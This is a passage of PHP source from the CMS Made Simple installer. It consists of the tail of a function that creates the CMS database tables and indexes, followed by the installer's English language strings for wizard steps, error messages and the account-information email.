	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'admin_bookmarks', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_admin_bookmarks_by_user_id', CMS_DB_PREFIX."admin_bookmarks", 'user_id');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'admin_bookmarks', $ado_ret));


	$flds = "
		timestamp I,
		user_id I,
		username C(25),
		item_id I,
		item_name C(50),
		action C(255),
		ip_addr C(40)
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."adminlog", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	if( $return == 2 )
	 {
		$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_adminlog1',CMS_DB_PREFIX."adminlog",'timestamp');
		$return = $dbdict->ExecuteSQLArray($sqlarray);
	 }
	verbose_msg(ilang('install_created_table', 'adminlog', $ado_ret));

	$flds = "
		content_id I KEY,
		content_name C(255),
		type C(25),
		owner_id I,
		parent_id I,
		template_id I,
		item_order I,
		hierarchy C(255),
		default_content I1,
		menu_text C(255),
		content_alias C(255),
		show_in_menu I1,
		active I1,
		cachable I1,
		id_hierarchy C(255),
		hierarchy_path X,
		prop_names X,
		metadata X,
		titleattribute C(255),
		tabindex C(10),
		accesskey C(5),
		last_modified_by I,
		create_date DT,
		modified_date DT,
		secure I1,
		page_url C(255)
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."content", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'content', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_content_by_alias_active', CMS_DB_PREFIX."content", 'content_alias, active');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_content_by_alias_active', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_content_default_content', CMS_DB_PREFIX."content", 'default_content');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_content_default_content', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_content_by_parent_id', CMS_DB_PREFIX."content", 'parent_id');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_content_by_parent_id', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_content_by_hier', CMS_DB_PREFIX."content", 'hierarchy');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_content_by_hier', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_content_by_idhier', CMS_DB_PREFIX."content", 'content_id, hierarchy');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_content_by_idhier', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_content_by_modified', CMS_DB_PREFIX."content", 'modified_date');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_content_by_modified', $ado_ret));

	$flds = "
		content_id I,
		type C(25),
		prop_name C(255),
		param1 C(255),
		param2 C(255),
		param3 C(255),
		content X2,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."content_props", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'content_props', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_content_props_by_content', CMS_DB_PREFIX."content_props", 'content_id');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_content_props_by_content', $ado_ret));

	$flds = "
		event_id I,
		tag_name C(255),
		module_name C(160),
		removable I,
		handler_order I,
		handler_id I KEY
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."event_handlers", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'event_handlers', $ado_ret));



	$flds = "
		originator C(200) NOTNULL,
		event_name C(200) NOTNULL,
		event_id I KEY
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."events", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'events', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'originator', CMS_DB_PREFIX."events", 'originator');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'originator', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'event_name', CMS_DB_PREFIX."events", 'event_name');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'event_name', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'event_id', CMS_DB_PREFIX."events", 'event_id');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'event_id', $ado_ret));

	$flds = "
		group_perm_id I KEY,
		group_id I,
		permission_id I,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."group_perms", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'group_perms', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_grp_perms_by_grp_id_perm_id', CMS_DB_PREFIX."group_perms", 'group_id, permission_id');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_grp_perms_by_grp_id_perm_id', $ado_ret));

	$flds = "
		group_id I KEY,
		group_name C(25),
		group_desc C(255),
		active I1,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL("`".CMS_DB_PREFIX."groups`", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'groups', $ado_ret));



	$flds = "
		module_name C(160) KEY,
		status C(255),
		version C(255),
		admin_only I1 DEFAULT 0,
		active I1,
		allow_fe_lazyload I1,
		allow_admin_lazyload I1
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."modules", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'modules', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_modules_by_name', CMS_DB_PREFIX."modules", 'module_name');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_modules_by_name', $ado_ret));



	$flds = "
		parent_module C(25),
		child_module C(25),
		minimum_version C(25),
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."module_deps", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'module_deps', $ado_ret));


	// deprecated
	$flds = "
		module_name C(160),
		template_name C(160),
		content X,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."module_templates", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'module_templates', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_module_templates_by_module_and_tpl_name', CMS_DB_PREFIX."module_templates", 'module_name, template_name');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_module_templates_by_module_and_tpl_name', $ado_ret));


	$flds = "
		permission_id I KEY,
		permission_name C(255),
		permission_text C(255),
		permission_source C(255),
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."permissions", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'permissions', $ado_ret));


	$flds = "
		sitepref_name C(255) KEY,
		sitepref_value text,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."siteprefs", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'siteprefs', $ado_ret));



	$flds = "
		group_id I KEY,
		user_id I KEY,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."user_groups", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'user_groups', $ado_ret));


	$flds = "
		user_id I KEY,
		preference C(50) KEY,
		value X,
		type C(25)
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."userprefs", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'userprefs', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_userprefs_by_user_id', CMS_DB_PREFIX."userprefs", 'user_id');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_userprefs_by_user_id', $ado_ret));



	$flds = "
		user_id I KEY,
		username C(25),
		password C(40),
		admin_access I1,
		first_name C(50),
		last_name C(50),
		email C(255),
		active I1,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."users", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'users', $ado_ret));



	$flds = "
		userplugin_id I KEY,
		userplugin_name C(255),
		code X,
		description X,
		create_date DT,
		modified_date DT
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."userplugins", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'userplugins', $ado_ret));



	$flds = "
		version I
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."version", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'version', $ado_ret));



	$flds = "
		sig C(80) KEY NOTNULL,
		name C(80) NOTNULL,
		module C(160) NOTNULL,
		type C(40) NOTNULL,
		callback C(255) NOTNULL,
		available I,
		cachable I1
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."module_smarty_plugins", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'module_smarty_plugins', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_smp_module', CMS_DB_PREFIX."module_smarty_plugins", 'module');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_smp_module', $ado_ret));


	$flds = "
		term C(255) KEY NOTNULL,
		key1 C(50) KEY NOTNULL,
		key2 C(50),
		key3 C(50),
		data X,
		created ".CMS_ADODB_DT;
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."routes", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'routes', $ado_ret));

	$flds = "
		id I KEY AUTO,
		originator C(50) NOTNULL,
		name C(100) NOTNULL,
		has_dflt I1,
		dflt_contents X2,
		description X,
		lang_cb C(255),
		dflt_content_cb C(255),
		requires_contentblocks I1,
		help_content_cb C(255),
		one_only I1,
		owner  I,
		created I,
		modified I";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplateType::TABLENAME, $flds,
					 $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', CmsLayoutTemplateType::TABLENAME, $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_type_1', CMS_DB_PREFIX.CmsLayoutTemplateType::TABLENAME,
										'originator,name',array('UNIQUE'));
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_layout_tpl_type_1', $ado_ret));


	$flds = "
		id I KEY AUTO,
		name C(100) NOTNULL,
		description X,
		item_order X,
		modified I";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplateCategory::TABLENAME, $flds,
					 $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	verbose_msg(ilang('install_created_table', CmsLayoutTemplateCategory::TABLENAME, $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_cat_1', CMS_DB_PREFIX.CmsLayoutTemplateCategory::TABLENAME,
										'name',array('UNIQUE'));
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_layout_tpl_type_1', $ado_ret));

	$flds = "
		id I KEY AUTO,
		name C(100) NOTNULL,
		content X2,
		description X,
		type_id I NOTNULL,
		type_dflt I1,
		category_id I,
		owner_id I NOTNULL,
		listable I1 DEFAULT 1,
		created I,
		modified I";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME, $flds,
					 $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', CmsLayoutTemplate::TABLENAME, $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_1', CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME, 'name',array('UNIQUE'));
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_layout_tpl_1', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_2', CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME, 'type_id,type_dflt');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_creating_index', 'idx_layout_tpl_2', $ado_ret));

	$flds = "
		id I KEY AUTO,
		name C(100) NOTNULL,
		content X2,
		description X,
 		media_type C(255),
		media_query X,
		created I,
		modified I";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutStylesheet::TABLENAME, $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', CmsLayoutStylesheet::TABLENAME, $ado_ret));
	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_css_1',CMS_DB_PREFIX.CmsLayoutStylesheet::TABLENAME, 'name', array('UNIQUE'));
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_index', 'idx_layout_css_1', $ado_ret));

	$flds = "
		tpl_id I KEY,
		user_id I KEY
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplate::ADDUSERSTABLE, $flds,
					 $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	verbose_msg(ilang('install_created_table', CmsLayoutTemplate::ADDUSERSTABLE, $ado_ret));


	$flds = "
		id I KEY AUTO,
		name C(100) NOTNULL,
		description X,
		dflt I1,
		created I,
		modified I
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::TABLENAME, $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', CmsLayoutCollection::TABLENAME, $ado_ret));
	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_dsn_1',CMS_DB_PREFIX.CmsLayoutCollection::TABLENAME, 'name', array('UNIQUE'));
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_index', 'idx_layout_dsn_1', $ado_ret));


	$flds = "
		design_id I KEY NOTNULL,
		tpl_id  I KEY NOTNULL
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::TPLTABLE, $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', CmsLayoutCollection::TPLTABLE, $ado_ret));
	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_dsnassoc1', CMS_DB_PREFIX.CmsLayoutCollection::TPLTABLE, 'tpl_id');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_index', 'index_dsnassoc1', $ado_ret));

	$flds = "
		design_id I KEY NOTNULL,
		css_id  I KEY NOTNULL,
		item_order I NOTNULL
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::CSSTABLE, $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', CmsLayoutCollection::CSSTABLE, $ado_ret));

	$flds = "
		id I AUTO KEY NOTNULL,
		type C(20) NOTNULL,
		oid I NOTNULL,
		uid I NOTNULL,
		created I NOTNULL,
		modified I NOTNULL,
		lifetime I NOTNULL,
		expires I NOTNULL
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLock::LOCK_TABLE, $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', CmsLock::LOCK_TABLE, $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_locks1', CMS_DB_PREFIX."locks", 'type,oid', array('UNIQUE'));
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	verbose_msg(ilang('install_created_index', 'index_locks1', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_locks2', CMS_DB_PREFIX."locks", 'expires');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	verbose_msg(ilang('install_created_index', 'index_locks2', $ado_ret));

	$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_locks3', CMS_DB_PREFIX."locks", 'uid');
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	verbose_msg(ilang('install_created_index', 'index_locks3', $ado_ret));

}

# vim:ts=4 sw=4 noet
?>
<?php
# A
$lang['action_freshen'] = 'Freshening / Repairing a CMSMS %s installation';
$lang['action_install'] = 'Creating a new CMSMS %s website';
$lang['action_upgrade'] = 'Upgrading a CMSMS Website to version %s';
$lang['advanced_mode'] = 'Enable advanced mode';
$lang['apptitle'] = 'Installation and upgrade assistant';
$lang['assets_dir_exists'] = 'Assets directory exists';
$lang['available_languages'] = 'Available languages';

# B
$lang['build_date'] = 'Build Date';
$lang['build_reference'] = 'Build';

# C
$lang['changelog_uc'] = 'CHANGELOG';
$lang['cleaning_files'] = 'Cleaning files that are no longer applicable to the release';
$lang['config_writable'] = 'Check for writeable config file';
$lang['confirm_freshen'] = 'Are you sure you want to freshen (repair) the existing installation of CMSMS? Use with extreme caution!';
$lang['confirm_upgrade'] = 'Are you sure you want to begin the upgrade process';
$lang['curl_extension'] = 'Checking for the Curl extension';
$lang['create_assets_structure'] = 'Creating a location for file resources';

# D
$lang['database_support'] = 'Check for compatible database drivers';
$lang['desc_wizard_step1'] = 'Start the installation or upgrade process';
$lang['desc_wizard_step2'] = 'Analyze destination directory to find existing software';
$lang['desc_wizard_step3'] = 'Check to make sure everything is OK to install the CMSMS core';
$lang['desc_wizard_step4'] = 'For new installs, and freshen operation, enter basic configuration info';
$lang['desc_wizard_step5'] = 'For new installs, enter Admin account info';
$lang['desc_wizard_step6'] = 'For new installs enter some basic site details';
$lang['desc_wizard_step7'] = 'Extract files';
$lang['desc_wizard_step8'] = 'Create or update the database schema, set initial events, permissions, user accounts, templates, stylesheets and content';
$lang['desc_wizard_step9'] = 'Install and/or Upgrade modules as necessary, write the config file, and clean up.';
$lang['destination_directory'] = 'Destination Directory';
$lang['dest_writable'] = 'Write permission in destination directory';
$lang['disable_functions'] = 'Checking disabled functions';
$lang['done'] = 'Done';

# E
$lang['email_accountinfo_message'] = <<<EOT
Your installation of CMS Made Simple is complete.

This email contains sensitive information and should be stored in a secure location.

Here are the details of your installation.
username: %s
password: %s
install directory: %s
root url: %s

EOT;
$lang['email_accountinfo_message_exp'] = <<<EOT
Your installation of CMS Made Simple is complete.

This email contains sensitive information and should be stored in a secure location.

Here are the details of your installation.
username: %s
password: %s
install directory: %s

EOT;
$lang['email_accountinfo_subject'] = 'CMS Made Simple Installation Successful';
$lang['emailaccountinfo'] = 'Email the account information';
$lang['emailaddr'] = 'Email Address';
$lang['error_adminacct_emailaddr'] = 'The email address you specified is invalid';
$lang['error_adminacct_emailaddrrequired'] = 'You have selected to email the account information, but have not entered a valid email address';
$lang['error_adminacct_password'] = 'The password you specified is invalid (must be at least six characters long)';
$lang['error_adminacct_repeatpw'] = 'The passwords you entered did not match.';
$lang['error_adminacct_username'] = 'The username you specified is invalid. Please try again';
$lang['error_admindirrenamed'] = 'It appears that, for security reasons, you may have renamed your CMSMS Admin directory. You must reverse <a href="https://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder" target="_blank" class="external">this process</a> in order to proceed!<br/><br/>Once you have reverted the admin directory name to its original location, please reload this page.';
$lang['error_backupconfig'] = 'We could not properly backup the config file';
$lang['error_checksum'] = 'Extracted file checksum does not match original';
$lang['error_cmstablesexist'] = 'It appears that there is already a CMS installation on this database. Please enter different database information. If you would like to use a different table prefix you may need to restart the installation process and enable advanced mode.';
$lang['error_createtable'] = 'Problem creating database table... perhaps this is a permissions issue';
$lang['error_dbconnect'] = 'We could not connect to the database. Please double check the credentials you have supplied';
$lang['error_dirnotvalid'] = 'The directory %s does not exist (or is not writeable)';
$lang['error_droptable'] = 'Problem dropping database table... perhaps this is a permissions issue';
$lang['error_filenotwritable'] = 'The file %s could not be overwritten (permissions problem)';
$lang['error_internal'] = 'Sorry, something has gone wrong... (internal error) (%s)';
$lang['error_invalid_directory'] = 'It appears that the directory you have selected to install in is a working directory for the installer itself';
$lang['error_invalidconfig'] = 'Error in the config file, or config file missing';
$lang['error_invaliddbpassword'] = 'Database password contains invalid characters that cannot be safely saved.';
$lang['error_invalidkey'] = 'Invalid member variable or key %s for class %s';
$lang['error_invalidparam'] = 'Invalid parameter or value for parameter: %s';
$lang['error_invalidtimezone'] = 'The timezone specified is invalid';
$lang['error_invalidqueryvar'] = 'The query variable entered contains invalid characters.  Please use only alphanumerics and underscore.';
$lang['error_missingconfigvar'] = 'The key &quot;%s&quot; is either missing or invalid in the config.ini file';
$lang['error_noarchive'] = 'Problem finding archive file... please restart';
$lang['error_nlsnotfound'] = 'Problem finding NLS files in archive';
$lang['error_nodatabases'] = 'No compatible database extensions could be found';
$lang['error_nodbhost'] = 'Please enter a valid hostname (or IP address) for the database connection';
$lang['error_nodbname'] = 'Please enter the name of a valid database on the host specified above';
$lang['error_nodbpass'] = 'Please enter a valid password for authenticating to the database';
$lang['error_nodbprefix'] = 'Please enter a valid prefix for database tables';
$lang['error_nodbtype'] = 'Please select a database type';
$lang['error_nodbuser'] = 'Please enter a valid username for authenticating to the database';
$lang['error_nodestdir'] = 'Destination directory not set';
$lang['error_nositename'] = 'Sitename is a required parameter. Please enter a suitable name for your website.';
$lang['error_notimezone'] = 'Please enter a valid timezone for this server';
$lang['error_overwrite'] = 'Permissions problem: cannot overwrite %s';
$lang['error_sendingmail'] = 'Error sending mail';
$lang['error_tzlist'] = 'A problem occurred retrieving the timezone identifiers list';
$lang['errorlevel_estrict'] = 'Checking for E_STRICT';
$lang['errorlevel_edeprecated'] = 'Checking for E_DEPRECATED';
$lang['edeprecated_enabled'] = 'E_DEPRECATED is enabled in the PHPs error_reporting.  Though this will not prevent CMSMS from operating, it may result in warnings being displayed in the output screen, particularly from older, third party modules';
$lang['estrict_enabled'] = 'E_STRICT is enabled in the PHPs error_reporting. Though this will not prevent CMSMS from operating, it may result in warnings being displayed in the HTML output, particularly from older, third party modules';

# F
$lang['fail_assets_dir'] = 'An assets directory already exists.  This application may write to this directory to rationalize the location of files.  Please ensure that you have a backup';
$lang['fail_assets_msg'] = 'An assets directory already exists.  This application may write to this directory to rationalize the location of files.  Please ensure that you have a backup';
$lang['fail_config_writable'] = 'The HTTP process cannot write to the config.php file. Please try to change the permissions on this file to 777 until the upgrade process is complete';
$lang['fail_curl_extension'] = 'The curl extension was not found. Though not a critical issue, this may cause problems with some third party modules';
$lang['fail_database_support'] = 'No compatible database drivers found';
$lang['fail_file_get_contents'] = 'The file_get_contents function does not exist, or is disabled. CMSMS Cannot continue (even the installer will probably fail)';
$lang['fail_file_uploads'] = 'File upload capabilities are disabled in this environment. Several functions of CMSMS will not function in this environment';
$lang['fail_func_json'] = 'json functionality was not found';
$lang['fail_func_gzopen'] = 'gzopen function was not found';
$lang['fail_func_md5'] = 'md5 functionality was not found';
$lang['fail_func_tempnam'] = 'The tempnam function does not exist. It is a required function for CMSMS functionality';
$lang['fail_func_ziparchive'] = 'ZipArchive functionality was not found.  This may limit functionality';
$lang['fail_ini_set'] = 'It appears that we cannot change ini settings. This could cause problems in third party modules (or when enabling debug mode)';
$lang['fail_intl_support'] = 'PHP\'s internationalization extension is not available';
$lang['fail_magic_quotes_runtime'] = 'It appears that magic quotes are enabled in your configuration. Please disable them and retry';
$lang['fail_max_execution_time'] = 'Your max execution time of %s does not meet the minimum value of %s.  We recommend you increase it to %s or greater';
$lang['fail_memory_limit'] = 'Your memory limit value is too low. You had %s, however a minimum of %s is required, and %s is recommended';
$lang['fail_multibyte_support'] = 'Multibyte support is not enabled in your configuration';
$lang['fail_output_buffering'] = 'Output buffering is not enabled.';
$lang['fail_open_basedir'] = 'Open basedir restrictions are in effect. CMSMS requires that this be disabled';
$lang['fail_php_version'] = 'The version of PHP available to CMSMS is critically important. The minimum accepted version is %s, though we recommend %s or greater. You have %s';
